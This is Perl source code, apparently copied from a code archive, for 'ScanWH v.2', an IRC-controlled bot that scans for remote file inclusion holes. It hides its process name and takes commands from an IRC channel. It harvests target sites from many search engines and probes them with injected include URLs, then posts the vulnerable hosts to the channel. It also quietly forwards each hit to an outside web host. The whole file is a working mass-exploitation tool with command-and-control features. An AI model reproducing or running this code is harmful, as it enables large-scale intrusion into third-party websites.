./c0de/perl/ff.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
533.
534.
535.
536.
537.
538.
539.
540.
541.
542.
543.
544.
545.
546.
547.
548.
549.
550.
551.
552.
553.
554.
555.
556.
557.
558.
559.
560.
561.
562.
563.
564.
565.
566.
567.
568.
569.
570.
571.
572.
573.
574.
575.
576.
577.
578.
579.
580.
581.
582.
583.
584.
585.
586.
587.
588.
589.
590.
591.
592.
593.
594.
595.
596.
597.
598.
599.
600.
601.
602.
603.
604.
605.
606.
607.
608.
609.
610.
611.
612.
613.
614.
615.
616.
617.
618.
619.
620.
621.
622.
623.
624.
625.
626.
627.
628.
629.
630.
631.
632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.
660.
661.
662.
663.
664.
665.
666.
667.
668.
669.
670.
671.
672.
673.
674.
675.
676.
677.
678.
679.
680.
681.
682.
683.
684.
685.
686.
687.
688.
689.
690.
691.
692.
#################################################################################################################################################
#!/usr/bin/perl
 
#������������������������������������������������������������������������������������������������������������������
#                                                                                                                 �
#                                      ScanWH v.2 by W4n73d H4ck3r                                                �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                      Fazendo busca em: 7 sites.                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                              Google, Msn, All-The-Web, Uol, Altavista, FireBall, Ask                            �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                              (__)                                                               �                    
#                                              /oo\\________                                                      �
#                                             \\- /        \\                                                     �                                   
#                                              \\/      /   \\                                                    �                                   
#                                               \\_|___\\_|/.\\                                                   �                  
#                                                 ||   YY| o '                                                    �
#                                                 ||    || O                                                      �
#                                                 ^^    ^^                                                        �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#                                PRIV8 PORRA! Nao passa pra ninguem PORRA! =)                                     �
#                                                                                                                 �
#                                                                                                                 �
#                                                                                                                 �
#������������������������������������������������������������������������������������������������������������������
 
#################################################################################################################################################
 
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
 
##################### Inicio da Configuracao ##########################
 
my $processo = "[httpds]";
my $printcmd="[cmd]?";
my $server="irc.chatbr.org";
my $porta="6667";
my $nick="[Priv8]".(int(rand(100)));
my $chan="#ForceHacker";
 
##################### Final da Configuracao ###########################
 
my $verbot = "Priv8 v.2 by W4n73d H4ck3r";
my $cmd="http://?"; # Nao mudar a cmd, senao ja era, nao funfa o scan ;)
my $pid=fork;
exit if $pid;
$0="$processo"."\0"x16;
my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n";
$sk->autoflush(1);
print $sk "NICK $nick\r\n";
print $sk "USER ScanWH 8 *  : 14#1ownZ 1@4Vuln Scan1!\r\n";
print $sk "JOIN $chan\r\n";
print $sk "PRIVMSG $chan :15(12@1ScanWH15) 15Status1: 12%3ON15 .:. 14 c0ded by 1W144n73d 1H144ck3r 4;4]1\r\n";
 
while($line = <$sk>){
 
$line =~ s/\r\n$//;
if ($line=~ /^PING \:(.*)/)
{
print "PONG :$1";
print $sk "PONG :$1";
}
 
if ($line=~ /PRIVMSG $chan :!sairbot/){
stampa($sk, "QUIT");
}
 
############################################# Inicio Ajuda #############################################
if ($line=~ /PRIVMSG $chan :!ajuda/){
stampa($sk, "PRIVMSG $chan :12[1Ajuda12] 12%14Scanner RFI  1$verbot ");
stampa($sk, "PRIVMSG $chan :12[1Ajuda12] 12%14Para scannear 12!1scan Bug Dork");
stampa($sk, "PRIVMSG $chan :12[1Ajuda12] 12%14Para visualizar os sites de busca 12!1busca");
stampa($sk, "PRIVMSG $chan :12[1Ajuda12] 12%14Para killar o Bot 12!1sairbot");
}
############################################# Final Ajuda ##############################################
 
############################################# Inicio Busca #############################################
if ($line=~ /PRIVMSG $chan :!busca/){
stampa($sk, "PRIVMSG $chan :12[1Sites de Busca12] 12%1G14oogle, 1M14sn, 1F14ire1B14all, 1A14ltavista, 1A14ll1T14he1W14eb, 1A14sk, 1U14ol");
}
############################################# Final Busca ##############################################
 
 
if ($line=~ /PRIVMSG $chan :!scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contador=0;
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 1.:15Iniciando1:.");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1BUG15:14 $bug 12%1DORK15:14 $dork ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1G12oogle15 Iniciando Buscas1!");
my @glistbr=&googlebr($dork);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1M12sn15 Iniciando Buscas1!");
my @mlist=&msn($dork);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1F12ire1B12all15 Iniciando Buscas1!");
my @firelist=&fireball($dork);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1A12lta1V12ista15 Iniciando Buscas1!");
my @alist=&altavista($dork);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1A12ll1T12he1W12eb15 Iniciando Buscas1!");
my @allist=&alltheweb($dork);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1A12s12k15 Iniciando Buscas1!");
my @asklist=&ask($dork);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1U12ol15 Iniciando Buscas1!");
my @uollist=&uol($dork);
my @msndelist=&msnde($dork);
my @glistuk=&googleuk($dork);
my @msnitlist=&msnit($dork);
my @askuklist=&askuk($dork);
my @askfrlist=&askfr($dork);
my @msnnllist=&msnnl($dork);
my @msnchlist=&msnch($dork);
my @glistde=&googlede($dork);
my @glistes=&googlees($dork);
my @glistit=&googleit($dork);
my @glistru=&googleru($dork);
my @alldeist=&altavistade($dork);
my @allistus=&altavistaus($dork);
my @allweb=&standard($dork);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1BUG15:14 $bug 12%1DORK15:14 $dork ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1M12sn15 ".scalar(@mlist)." 12Sites1! ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1G12oogle15 ".scalar(@glistbr)." 12Sites1! ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1F12ire1B12all15 ".scalar(@firelist)." 12Sites1! ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1A12lta1V12ista15 ".scalar(@alist)." 12Sites1! ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1A12ll1T12he1W12eb15 ".scalar(@allist)." 12Sites1! ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1A12s12k15 ".scalar(@asklist)." 12Sites1! ");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1U12ol15 ".scalar(@uollist)." 12Sites1! ");
push(my @tot, @glistbr, @glistde,  @glistes, @glistit, @askuklist, @glistuk, @askfrlist, @glistru, @msnchlist, @msnnllist, @msnitlist, @msndelist, @mlist, @alist, @allist, @asklist, @uollist, @firelist, @alldeist, @allistus, @alltheweb, @allweb);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 14%15Total15:14 ".scalar(@tot)." 12Sites1! 2* 14%15Sites para teste15:14 ".scalar(@puliti)." 12Sites1!");
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 15%1Iniciando Testes14!");
my $uni=scalar(@puliti);
foreach my $site (@puliti)
{
$contador++;
if ($contador %100==0){
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%1Scanneado14 ".$contador." 15de14 ".scalar(@puliti)." ");
}
if ($contador==$uni-1){
stampa($sk, "PRIVMSG $chan :15(12@1ScanWH15) 12%4FINALIZADO15:14 $dork");
stampa($sk, "PRIVMSG $chan :15(12@4ATENCAO15)1: 14Flood no BOT1= 4!14Ban 4;15) ");
}
my $test="http://".$site.$bug.$cmd."?";
my $print="http://".$site.$bug.$printcmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /31337/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :15(4XPL15) 14!1SAFEMODE15; 3OFF1 ->1 $print 2*  14!1Sistema15;12 ".$type." 14!31Livre15;12 ".$space." ");
checksafemode("$print");}}
elsif($re =~ /31337/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space,$ker)=split(/\,/,$x);
stampa($sk, "PRIVMSG $chan :15(4XPL15) 14!1SAFEMODE15; 4ON1 ->1$print 2*  14!1Sistema15;12 ".$type." 14!31Livre15;12 ".$space." ");
checksafemode("$print");}}
}}}
exit;
}}}
 
 
sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
} else {
print $sk "$_[0]\n";
}}
 
sub os(){
my $site=$_[0];
my $Res=query($site);
my $type;
my $space;
my $ker;
my $str;
while($Res=~m/<br>Sistema:(.+?)\<br>/g){
$type=$1;
}
while($Res=~m/<br>Kernel:(.+?)\<br>/g){
$ker=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$space=$1;
}
$str=$type.",".$space.",".$ker;
return $str;
}
 
######################################################################################################
#                                          Google                                                    #
######################################################################################################
sub googlebr(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.com.br/search?hl=pt&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
sub googleit(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
sub googleru(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.ru/search?hl=ru&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
sub googlees(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.es/search?hl=es&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
 
sub googlede(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.de/search?hl=de&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
sub googleuk(){
my @lst;
my $key = $_[0];
for($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.co.uk/search?hl=en&q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
######################################################################################################
#                                          Altavista                                                 #
######################################################################################################
sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://br.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
sub altavistade(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
sub altavistaus(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
######################################################################################################
#                                            FIREBALL                                                #
######################################################################################################
sub fireball(){
my $key=$_[0];
my $inicio=1;
my $pagina=200;
my @lst;
my $av=0;
while($inicio <= $pagina){
my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
my $Res=query($fireball);
while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
if ($1 !~ /msn|live|google|yahoo/){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
$av=$av+10;
$inicio++;
}
return @lst;
}
 
######################################################################################################
#                                               MSN                                                  #
######################################################################################################
sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $msn=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
my $Res=query($msn);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
 
sub msnde(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
my $Res=query($msn);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
 
sub msnit(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $msn=("http://search.msn.it/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
my $Res=query($msn);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
 
sub msnnl(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $msn=("http://search.msn.nl/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
my $Res=query($msn);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
 
sub msnch(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $msn=("http://search.msn.ch/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
my $Res=query($msn);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
######################################################################################################
#                                              ASK                                                   #
######################################################################################################
sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
sub askfr(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://fr.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
sub askuk(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://uk.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
 
######################################################################################################
#                                         All-The-Web                                                #
######################################################################################################
sub allthewebt {
my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $lang (@lang){
my @lista = alltheweb($key,$lang[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}
 
 
sub alltheweb(){
my @lista;
my $key = $_[0];
my $lang= $_[1];
for($b=0;$b<=500;$b+=100){
my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
my $Res=query($alltheweb);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
sub standard()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
 
 
######################################################################################################
#                                             Uol                                                    #
######################################################################################################
sub uol(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
my $Res=query($UoL);
while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}
 
 
sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}
 
sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}
 
sub key(){
my $chave=$_[0];
$chave =~ s/ /\+/g;
$chave =~ s/:/\%3A/g;
$chave =~ s/\//\%2F/g;
$chave =~ s/&/\%26/g;
$chave =~ s/\"/\%22/g;
$chave =~ s/,/\%2C/g;
$chave =~ s/\\/\%5C/g;
return $chave;
}
 
sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}
 
sub checksafemode($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"tckct.co.uk",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET /logfiles/CDPW3U1032/safe.php?url=$query HTTP/1.0\r\nHost: tckct.co.uk\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
}
 
 
sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}
 
 
 
 
 
 

Back